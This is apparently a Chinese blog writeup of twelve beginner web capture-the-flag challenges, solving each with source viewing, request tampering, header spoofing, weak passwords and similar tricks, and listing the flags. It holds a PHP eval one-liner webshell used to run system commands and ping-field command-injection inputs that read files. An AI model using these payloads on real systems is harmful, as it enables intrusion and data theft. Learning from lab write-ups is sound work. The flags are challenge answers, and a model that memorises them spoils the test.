

# 攻防世界WEB 新手入门区writeup

原创

HomYee~ 于 2019-11-20 10:00:28 发布 226 收藏

版权声明：本文为博主原创文章，遵循[CC 4.0 BY-SA](#)版权协议，转载请附上原文出处链接和本声明。

本文链接：[https://blog.csdn.net/weixin\\_44120313/article/details/103156904](https://blog.csdn.net/weixin_44120313/article/details/103156904)

版权

## 1. view\_source

### FLAG is not here

进入页面

发现无法使用鼠标右键，直接按F12查看源码，发现flag

```
--> <h1>FLAG is not here</h1>
<!-- cyberpeace{3db5f8f905301c916eadb8f78b54b650} -->
</body>
</html>
```

## 2. get\_post

进入页面

## 请用GET方式提交一个名为a,值为1的变量

用ackbar传入get参数a=1

## 请用GET方式提交一个名为a,值为1的变量

## 请再以POST方式随便提交一个名为b,值为2的变量

再用ackbar传入post参数b=2

URL  
<http://111.198.29.45:42846/?a=1>

Enable POST    enctype: application/x-www-form-urlencoded

Body  
b=2

[https://blog.csdn.net/weixin\\_44120313](https://blog.csdn.net/weixin_44120313)

得到flag

**cyberpeace{494d2eadcdc761f0be4cd890b566051f}**

### 3. robots

题目名为robots，推测robots.txt文件可能有东西，访问发现

```
User-agent: *
Disallow:
Disallow: flag_ls_h3re.php
```

再访问flag\_ls\_h3re.php，得到flag

```
cyberpeace{da9ee882cacb75757dbea957dc70904f}
```

---

## 4. backup

---

进入页面

你知道index.php的备份文件名吗？

[https://blog.csdn.net/weixin\\_44120313](https://blog.csdn.net/weixin_44120313)

推测是index.php.bak文件，访问下载到index.php文件源码，得到flag

```
<h3>你知道index.php的备份文件名吗? </h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"
?>
</body>
```

---

## 5. cookie

---

进入页面

## 你知道什么是cookie吗？

[https://blog.csdn.net/weixin\\_44120313](https://blog.csdn.net/weixin_44120313)



查看cookie，发现

访问cookie.php

## See the http response

在审查页面查看http响应头，得到flag

```
flag: cyberpeace{755fc9d904dde09d172f124be59230c1}
```

---

## 6. disabled\_button

---

## 一个不能按的按钮

flag

进入页面

发现按钮不能按，直接在ackbar里post传参

URL  
http://111.198.29.45:35056/

Enable POST    enctype  
application/x-www-form-urlencoded

Body  
auth=flag

得到flag

cyberpeace{dc623160052d1f826433ca168ebe60a4}

## 7. simple\_js

111.198.29.45:38944 显示

Enter password

取消确定

进入页面，发现要求输入密码

查看源代码，发现js代码

```
function dechiffre(pass_enc){  
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";  
    var tab = pass_enc.split(',');  
    var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;  
    k = j + (l) + (n=0);  
    n = tab2.length;  
    for(i = (o=0); i < (k = j = n); i++) {o = tab[i-1];p += String.fromCharCode((o = tab2[i]));  
        if(i == 5)break;}  
    for(i = (o=0); i < (k = j = n); i++) {  
        o = tab[i-1];  
        if(i > 5 && i < k-1)  
            p += String.fromCharCode((o = tab2[i]));  
    }  
    p += String.fromCharCode(tab2[17]);  
    pass = p;return pass;  
}  
String["fromCharCode"]  
(dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));  
h = window.prompt('Enter password');  
alert( dechiffre(h) );
```

[https://blog.csdn.net/weixin\\_44120313](https://blog.csdn.net/weixin_44120313)

在控制台运行一下得到

```
> function dechiffre(pass_enc){  
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";  
    var tab = pass_enc.split(',');  
    var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;  
    k = j + (l) + (n=0);  
    n = tab2.length;  
    for(i = (o=0); i < (k = j = n); i++) {o = tab[i-1];p += String.fromCharCode((o = tab2[i]));  
        if(i == 5)break;}  
    for(i = (o=0); i < (k = j = n); i++) {  
        o = tab[i-1];  
        if(i > 5 && i < k-1)  
            p += String.fromCharCode((o = tab2[i]));  
    }  
    p += String.fromCharCode(tab2[17]);  
    pass = p;return pass;  
}  
dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")  
< "FAUX PASSWORD HAHA"
```

发现无论输入什么，都将输出"FAUX PASSWORD HAHA"，只和代码里

```
dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x34\x2c\x31\x31\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")
```

有关

使用python将函数里面字符串转为ascii码

```
code=r"\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
def hex_to_str(s):
    return ''.join([chr(i) for i in [int(b, 16) for b in s.split(r'\x')[1:]]])
a=hex_to_str(code)
b=a.split(',')
s=""
for i in b:
    s+=chr(int(i))
print(s)
#786OsErtk12
```

输出：786OsErtk12

则flag为

Cyberpeace{786OsErtk12}

## 8. xff\_referer

进入页面

ip地址必须为123.123.123.123

抓包添加请求头X-Forwarded-For: 123.123.123.123

必须来自https://www.google.com

再添加请求头referer: https://www.google.com

```
innerHTML="cyberpeace{049de88ebff41d7a911df3090c7e1f31}";
```

得到flag

## 9. weak\_auth

进入页面，发现登录框

## Login

username

password

login

reset

[https://blog.csdn.net/weixin\\_44120313](https://blog.csdn.net/weixin_44120313)

尝试弱密码

admin

123456

发现直接登录成功，获得flag，考察点应该是弱口令的爆破

cyberpeace{5f65ddcc8393a9cd566ed6cc709f35b4}

---

## 10. webshell

---

进入页面

## 你会使用webshell吗？

```
<?php @eval($_POST['shell']);?>
```

[https://blog.csdn.net/weixin\\_44120313](https://blog.csdn.net/weixin_44120313)

php一句话木马，post命令执行

```
Body  
shell=system("ls");
```

得到当前目录下文件

flag.txt index.php

```
Body  
shell=system("cat flag.txt");
```

得到flag

cyberpeace{1a0fedeba3f85f321b47c490d92a8263}

---

## 11. command\_execution

---

进入页面

## PING

请输入需要ping的地址

PING

```
ping -c 3 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.054 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.057 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.036/0.049/0.057/0.009 ms
```

发现能执行ping命令，语句为ping -c 3

有命令执行漏洞

输入

127.0.0.1 & ls

得到

```
ping -c 3 127.0.0.1 & ls
index.php
```

输入

127.0.0.1 | find / -name flag\*

得到flag路径

```
ping -c 3 127.0.0.1 | find / -name flag*
/home/flag.txt
```

输入

127.0.0.1 | cat /home/flag.txt

得到flag

```
ping -c 3 127.0.0.1 | cat /home/flag.txt
cyberpeace{9321137b34d87d1946c421c91920244a}
```

## 12. simple\_php

进入页面，发现代码审计

```
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?>
```

php弱类型比较，传参：

```
?a=0&b=1235a
```

```
Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
```

获得flag